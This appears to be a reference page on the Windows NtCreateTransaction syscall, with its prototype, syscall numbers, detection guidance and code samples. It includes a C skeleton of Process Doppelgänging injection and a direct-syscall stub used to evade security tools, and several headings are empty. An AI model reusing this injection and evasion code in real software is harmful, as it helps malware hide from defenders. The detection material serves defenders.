NtCreateTransaction
Creates a new KTM (Kernel Transaction Manager) transaction object used to wrap NTFS operations atomically.
Prototype
NTSTATUS NtCreateTransaction( PHANDLE TransactionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, LPGUID Uow, HANDLE TmHandle, ULONG CreateOptions, ULONG IsolationLevel, ULONG IsolationFlags, PLARGE_INTEGER Timeout, PUNICODE_STRING Description );
Arguments
| Name | Type | Dir | Description |
|---|---|---|---|
| TransactionHandle | PHANDLE | out | Receives a handle to the newly created transaction. |
| DesiredAccess | ACCESS_MASK | in | Access rights requested, e.g. TRANSACTION_ALL_ACCESS. |
| ObjectAttributes | POBJECT_ATTRIBUTES | in | Optional object attributes (name, root directory, security descriptor). NULL for an unnamed transaction. |
| Uow | LPGUID | in | Optional unit-of-work GUID. NULL lets the kernel allocate one. |
| TmHandle | HANDLE | in | Optional handle to a Transaction Manager. NULL binds the transaction to the default TM. |
| CreateOptions | ULONG | in | Reserved / TRANSACTION_DO_NOT_PROMOTE flag. Typically 0. |
| IsolationLevel | ULONG | in | Reserved for future use; pass 0. |
| IsolationFlags | ULONG | in | Reserved for future use; pass 0. |
| Timeout | PLARGE_INTEGER | in | Optional timeout after which the transaction is automatically rolled back. NULL = infinite. |
| Description | PUNICODE_STRING | in | Optional human-readable description string stored with the transaction. |
Syscall IDs by Windows version
| Windows version | Syscall ID | Build |
|---|---|---|
| Win10 1507 | 0xB8 | win10-1507 |
| Win10 1607 | 0xBB | win10-1607 |
| Win10 1703 | 0xBE | win10-1703 |
| Win10 1709 | 0xBF | win10-1709 |
| Win10 1803 | 0xC0 | win10-1803 |
| Win10 1809 | 0xC1 | win10-1809 |
| Win10 1903 | 0xC2 | win10-1903 |
| Win10 1909 | 0xC2 | win10-1909 |
| Win10 2004 | 0xC6 | win10-2004 |
| Win10 20H2 | 0xC6 | win10-20h2 |
| Win10 21H1 | 0xC6 | win10-21h1 |
| Win10 21H2 | 0xC7 | win10-21h2 |
| Win10 22H2 | 0xC7 | win10-22h2 |
| Win11 21H2 | 0xCC | win11-21h2 |
| Win11 22H2 | 0xCD | win11-22h2 |
| Win11 23H2 | 0xCD | win11-23h2 |
| Win11 24H2 | 0xCF | win11-24h2 |
| Server 2016 | 0xBB | winserver-2016 |
| Server 2019 | 0xC1 | winserver-2019 |
| Server 2022 | 0xCB | winserver-2022 |
| Server 2025 | 0xCF | winserver-2025 |
Kernel module
Related APIs
Syscall stub
4C 8B D1 mov r10, rcx B8 CF 00 00 00 mov eax, 0xCF ; Win11 24H2 SSN F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undocumented notes
NtCreateTransaction sits on top of the Kernel Transaction Manager (KTM) and the Common Log File System (CLFS). It was introduced in Windows Vista to support transactional NTFS (TxF) and the transactional registry (TxR). The handle returned here is used as a context for `NtCreateFile` with `FILE_OPEN_FOR_TRANSACTED_BINDING` or for `CreateFileTransacted`, so every write inside the transaction is invisible to other handles until `NtCommitTransaction`. Microsoft formally deprecated TxF in Windows 10 but the API surface is still fully shipped and supported — which is precisely why it remains attractive as an evasion primitive.
Common malware usage
Central building block of **Process Doppelgänging** (Tal Liberman & Eugene Kogan, enSilo / Black Hat EU 2017, MITRE T1055.013). The attack flow is: (1) `NtCreateTransaction`; (2) `NtCreateFile` *inside* the transaction with a benign-looking filename; (3) `NtWriteFile` of the malicious PE; (4) `NtCreateSection` from the transacted file handle; (5) `NtRollbackTransaction` — the on-disk file reverts to whatever it was (often a clean copy of svchost.exe or notepad.exe), while the section in memory still maps the malicious bytes; (6) `NtCreateProcessEx` / `NtCreateThreadEx` against the section to spawn a process whose backing image, as far as Win32 is concerned, is the rolled-back clean file. SynAck ransomware was caught using this in the wild in 2018, followed by Osiris/Kronos banker variants. A close cousin — **Transacted Hollowing** — uses `NtCommitTransaction` instead of rolling back.
Detection opportunities
ETW provider `Microsoft-Windows-Kernel-File` emits transaction-related events (Event IDs 30/31 for transaction create/commit/rollback paths) and `Microsoft-Windows-TxF` exposes the full transactional NTFS surface. Sysmon does not natively flag transactions, but EDRs increasingly compare `SectionObject->ControlArea->FilePointer` against the on-disk content via `NtAreMappedFilesTheSame` to spot mismatches. A process whose `Image File Name` (in `PEB->ProcessParameters->ImagePathName`) does not hash-match its on-disk file is the gold-standard Doppelgänging IOC. Hunting query: any non-system process that opens a transaction handle, writes a PE inside it, then creates a section from the transacted file.
Direct syscall examples
cProcess Doppelgänging skeleton
// Process Doppelgänging — enSilo 2017 / T1055.013
// Requires ntdll prototypes. Error checks elided for clarity.
HANDLE hTransaction = NULL;
NTSTATUS s = NtCreateTransaction(
&hTransaction,
TRANSACTION_ALL_ACCESS,
NULL, // unnamed
NULL, NULL, 0, 0, 0, NULL, NULL);
// Open a benign-looking file *inside* the transaction.
HANDLE hFile = CreateFileTransactedW(
L"C:\\Windows\\Temp\\update.dat",
GENERIC_WRITE | GENERIC_READ, 0, NULL,
CREATE_ALWAYS, 0, NULL,
hTransaction, NULL, NULL);
// Write malicious PE bytes into the transacted view.
DWORD written;
WriteFile(hFile, payloadBytes, payloadSize, &written, NULL);
// Create section from the transacted file — section now backs payload.
HANDLE hSection;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0,
PAGE_READONLY, SEC_IMAGE, hFile);
// Roll back: file on disk reverts; section in memory keeps payload.
NtRollbackTransaction(hTransaction, TRUE);
CloseHandle(hFile);
CloseHandle(hTransaction);
// Spawn process from the (now orphaned) section.
HANDLE hProcess;
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL,
NtCurrentProcess(), 0, hSection, NULL, NULL, FALSE);asmx64 direct stub (Win11 24H2)
; Direct syscall stub for NtCreateTransaction (SSN 0xCF on Win11 24H2)
NtCreateTransaction PROC
mov r10, rcx
mov eax, 0CFh
syscall
ret
NtCreateTransaction ENDPrustCreate transaction via ntapi crate
// Cargo: ntapi = "0.4", winapi = { version = "0.3", features = ["handleapi"] }
use ntapi::ntxcapi::NtCreateTransaction;
use winapi::shared::ntdef::HANDLE;
use std::ptr::null_mut;
unsafe fn create_tx() -> HANDLE {
let mut h: HANDLE = null_mut();
let status = NtCreateTransaction(
&mut h,
0x10000000, // TRANSACTION_ALL_ACCESS
null_mut(), null_mut(), null_mut(),
0, 0, 0,
null_mut(), null_mut(),
);
assert!(status >= 0, "NtCreateTransaction failed: 0x{:X}", status);
h
}MITRE ATT&CK mappings
Last verified: 2026-05-20